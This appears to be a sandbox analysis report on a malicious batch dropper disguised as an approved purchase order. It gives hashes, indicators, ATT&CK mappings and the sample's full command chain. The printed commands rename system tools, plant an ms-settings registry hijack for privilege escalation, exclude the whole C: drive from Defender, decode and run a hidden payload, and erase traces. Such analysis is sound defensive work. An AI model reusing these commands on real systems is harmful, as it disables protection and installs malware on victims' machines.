574f194754022d9834c8d1a4c4013c25ef678e3d36b39238f9583bab7d745dc8

Analysis

max time kernel
134s
max time network
132s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
10-05-2024 07:59

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General

Target

Purchase Order is approved20240509.cmd
Size

2.4MB
MD5

fe393a407b85b37633f9c2dc593801b4
SHA1

ab6c1cc6fdc415738b74214db52d9805166a727b
SHA256

574f194754022d9834c8d1a4c4013c25ef678e3d36b39238f9583bab7d745dc8
SHA512

2a72142927ef087b47c3f3e3d80db96595b577aec50d6fff2ab57e4e434dfb9aa54fe2d37213e8d8b414340b6878365adfa29db4e75f6094d4698c60b92adf3f
SSDEEP

49152:Xgx8XXdStPR/FS/ncG6aoiQUiujLb5DxUaeNFWoqMr:g

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 25 IoCs

pid	Process
2688	alpha.exe
2884	alpha.exe
2852	alpha.exe
2584	alpha.exe
2456	alpha.exe
2356	alpha.exe
2384	alpha.exe
2372	xkn.exe
2620	alpha.exe
1412	ger.exe
1124	alpha.exe
332	kn.exe
628	alpha.exe
2324	kn.exe
1060	alpha.exe
2684	alpha.exe
2168	sppsvc.pif
1856	alpha.exe
1672	alpha.exe
2308	alpha.exe
1808	alpha.exe
2000	alpha.exe
1228	alpha.exe
2008	alpha.exe
1452	alpha.exe

Loads dropped DLL 14 IoCs

pid	Process
1664	cmd.exe
1664	cmd.exe
1664	cmd.exe
1664	cmd.exe
1664	cmd.exe
1664	cmd.exe
1664	cmd.exe
2384	alpha.exe
2372	xkn.exe
2372	xkn.exe
2620	alpha.exe
1124	alpha.exe
1820	WerFault.exe
1820	WerFault.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1820	2168	WerFault.exe	53

Kills process with taskkill 1 IoCs

evasion

pid	Process
1392	taskkill.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\ms-settings\shell\open\command	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\ms-settings	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\ms-settings\shell	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\ms-settings\shell\open	ger.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\""	ger.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2796	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2168	sppsvc.pif

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2372	xkn.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2372	xkn.exe
Token: SeDebugPrivilege	1392	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1664 wrote to memory of 2428	1664	cmd.exe	29
PID 1664 wrote to memory of 2428	1664	cmd.exe	29
PID 1664 wrote to memory of 2428	1664	cmd.exe	29
PID 1664 wrote to memory of 2688	1664	cmd.exe	30
PID 1664 wrote to memory of 2688	1664	cmd.exe	30
PID 1664 wrote to memory of 2688	1664	cmd.exe	30
PID 1664 wrote to memory of 2884	1664	cmd.exe	31
PID 1664 wrote to memory of 2884	1664	cmd.exe	31
PID 1664 wrote to memory of 2884	1664	cmd.exe	31
PID 1664 wrote to memory of 2852	1664	cmd.exe	32
PID 1664 wrote to memory of 2852	1664	cmd.exe	32
PID 1664 wrote to memory of 2852	1664	cmd.exe	32
PID 2852 wrote to memory of 2552	2852	alpha.exe	33
PID 2852 wrote to memory of 2552	2852	alpha.exe	33
PID 2852 wrote to memory of 2552	2852	alpha.exe	33
PID 1664 wrote to memory of 2584	1664	cmd.exe	34
PID 1664 wrote to memory of 2584	1664	cmd.exe	34
PID 1664 wrote to memory of 2584	1664	cmd.exe	34
PID 2584 wrote to memory of 2504	2584	alpha.exe	35
PID 2584 wrote to memory of 2504	2584	alpha.exe	35
PID 2584 wrote to memory of 2504	2584	alpha.exe	35
PID 1664 wrote to memory of 2456	1664	cmd.exe	36
PID 1664 wrote to memory of 2456	1664	cmd.exe	36
PID 1664 wrote to memory of 2456	1664	cmd.exe	36
PID 2456 wrote to memory of 2576	2456	alpha.exe	37
PID 2456 wrote to memory of 2576	2456	alpha.exe	37
PID 2456 wrote to memory of 2576	2456	alpha.exe	37
PID 1664 wrote to memory of 2356	1664	cmd.exe	38
PID 1664 wrote to memory of 2356	1664	cmd.exe	38
PID 1664 wrote to memory of 2356	1664	cmd.exe	38
PID 2356 wrote to memory of 2468	2356	alpha.exe	39
PID 2356 wrote to memory of 2468	2356	alpha.exe	39
PID 2356 wrote to memory of 2468	2356	alpha.exe	39
PID 1664 wrote to memory of 2384	1664	cmd.exe	40
PID 1664 wrote to memory of 2384	1664	cmd.exe	40
PID 1664 wrote to memory of 2384	1664	cmd.exe	40
PID 2384 wrote to memory of 2372	2384	alpha.exe	41
PID 2384 wrote to memory of 2372	2384	alpha.exe	41
PID 2384 wrote to memory of 2372	2384	alpha.exe	41
PID 2372 wrote to memory of 2620	2372	xkn.exe	42
PID 2372 wrote to memory of 2620	2372	xkn.exe	42
PID 2372 wrote to memory of 2620	2372	xkn.exe	42
PID 2620 wrote to memory of 1412	2620	alpha.exe	43
PID 2620 wrote to memory of 1412	2620	alpha.exe	43
PID 2620 wrote to memory of 1412	2620	alpha.exe	43
PID 1664 wrote to memory of 1124	1664	cmd.exe	44
PID 1664 wrote to memory of 1124	1664	cmd.exe	44
PID 1664 wrote to memory of 1124	1664	cmd.exe	44
PID 1124 wrote to memory of 332	1124	alpha.exe	45
PID 1124 wrote to memory of 332	1124	alpha.exe	45
PID 1124 wrote to memory of 332	1124	alpha.exe	45
PID 1664 wrote to memory of 628	1664	cmd.exe	46
PID 1664 wrote to memory of 628	1664	cmd.exe	46
PID 1664 wrote to memory of 628	1664	cmd.exe	46
PID 628 wrote to memory of 2324	628	alpha.exe	47
PID 628 wrote to memory of 2324	628	alpha.exe	47
PID 628 wrote to memory of 2324	628	alpha.exe	47
PID 1664 wrote to memory of 1060	1664	cmd.exe	48
PID 1664 wrote to memory of 1060	1664	cmd.exe	48
PID 1664 wrote to memory of 1060	1664	cmd.exe	48
PID 1060 wrote to memory of 1392	1060	alpha.exe	49
PID 1060 wrote to memory of 1392	1060	alpha.exe	49
PID 1060 wrote to memory of 1392	1060	alpha.exe	49
PID 1664 wrote to memory of 2684	1664	cmd.exe	51

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Purchase Order is approved20240509.cmd"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1664
- C:\Windows\System32\extrac32.exe
  C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
  2⤵
  PID:2428
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
  2⤵
  - Executes dropped EXE
  PID:2688
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
  2⤵
  - Executes dropped EXE
  PID:2884
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2852
- - C:\Windows\system32\extrac32.exe
    extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
    3⤵
    PID:2552
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2584
- - C:\Windows\system32\extrac32.exe
    extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
    3⤵
    PID:2504
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2456
- - C:\Windows\system32\extrac32.exe
    extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
    3⤵
    PID:2576
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2356
- - C:\Windows\system32\extrac32.exe
    extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
    3⤵
    PID:2468
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2384
- - C:\Users\Public\xkn.exe
    C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2372
  - - C:\Users\Public\alpha.exe
      "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:2620
    - - C:\Users\Public\ger.exe
        
        C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
        5⤵
        Executes dropped EXE
        Modifies registry class
        
        PID:1412
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Purchase Order is approved20240509.cmd" "C:\\Users\\Public\\sppsvc.rtf" 9
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1124
- - C:\Users\Public\kn.exe
    C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Purchase Order is approved20240509.cmd" "C:\\Users\\Public\\sppsvc.rtf" 9
    3⤵
    - Executes dropped EXE
    PID:332
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\sppsvc.rtf" "C:\\Users\\Public\\Libraries\\sppsvc.pif" 12
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:628
- - C:\Users\Public\kn.exe
    C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\sppsvc.rtf" "C:\\Users\\Public\\Libraries\\sppsvc.pif" 12
    3⤵
    - Executes dropped EXE
    PID:2324
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1060
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SystemSettings.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1392
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
  2⤵
  - Executes dropped EXE
  PID:2684
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - Runs ping.exe
    PID:2796
- C:\Users\Public\Libraries\sppsvc.pif
  C:\Users\Public\Libraries\sppsvc.pif
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  PID:2168
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2168 -s 700
    3⤵
    - Loads dropped DLL
    - Program crash
    PID:1820
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
  2⤵
  - Executes dropped EXE
  PID:1856
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
  2⤵
  - Executes dropped EXE
  PID:1672
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
  2⤵
  - Executes dropped EXE
  PID:2308
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:1808
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:2000
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:1228
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\sppsvc.rtf" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:2008
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:1452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Public\Libraries\sppsvc.pif

Filesize
819KB

MD5
5754d97e3293f5c2192a23ac5ab7670e

SHA1
fe32ef084fcb4fc4ad3ecdfa9662ac3002883928

SHA256
bdef908222a5df808151d1d383101e2049d3d995e564dd6d9345214fe3198800

SHA512
2c8c15c75d28e28499eecc9c8e8dab7b1c2507c9ced1bddd9ccb6998bc1b2f0cfbf2c763e6b98c8fba51e683585bbacd791b0740a040977c8788dedb4d433c50

Download Submit
C:\Users\Public\alpha.exe

Filesize
337KB

MD5
5746bd7e255dd6a8afa06f7c42c1ba41

SHA1
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8

SHA256
db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386

SHA512
3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

Download Submit
C:\Users\Public\ger.exe

Filesize
73KB

MD5
9d0b3066fe3d1fd345e86bc7bcced9e4

SHA1
e05984a6671fcfecbc465e613d72d42bda35fd90

SHA256
4e66b857b7010db8d4e4e28d73eb81a99bd6915350bb9a63cd86671051b22f0e

SHA512
d773ca3490918e26a42f90f5c75a0728b040e414d03599ca70e99737a339858e9f0c99711bed8eeebd5e763d10d45e19c4e7520ee62d6957bc9799fd62d4e119

Download Submit
C:\Users\Public\kn.exe

Filesize
1.1MB

MD5
ec1fd3050dbc40ec7e87ab99c7ca0b03

SHA1
ae7fdfc29f4ef31e38ebf381e61b503038b5cb35

SHA256
1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3

SHA512
4e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2

Download Submit
C:\Users\Public\sppsvc.rtf

Filesize
1.6MB

MD5
0240edf5476c29058868d6c55171839e

SHA1
820845d637f7f3b97ce4c30e52db278dda37f955

SHA256
91b68a0e42f4ebeadd18b228353953cb34e1a86f7b88ac86895cac1be9c1ca5c

SHA512
9a0ce8ea056e2deb1b0fc0aa24c27298c27fa564ef51f122b2c142a776cf20a839b641d8b502c566f67172ee8e42009ae081fcbc8a4a9fc7c4c6939b0e57832e

Download Submit
C:\Users\Public\xkn.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/2168-69-0x0000000000400000-0x00000000004D5000-memory.dmp

Filesize
852KB

Download
memory/2372-36-0x000000001B070000-0x000000001B352000-memory.dmp

Filesize
2.9MB

Download
memory/2372-37-0x0000000001EC0000-0x0000000001EC8000-memory.dmp

Filesize
32KB

Download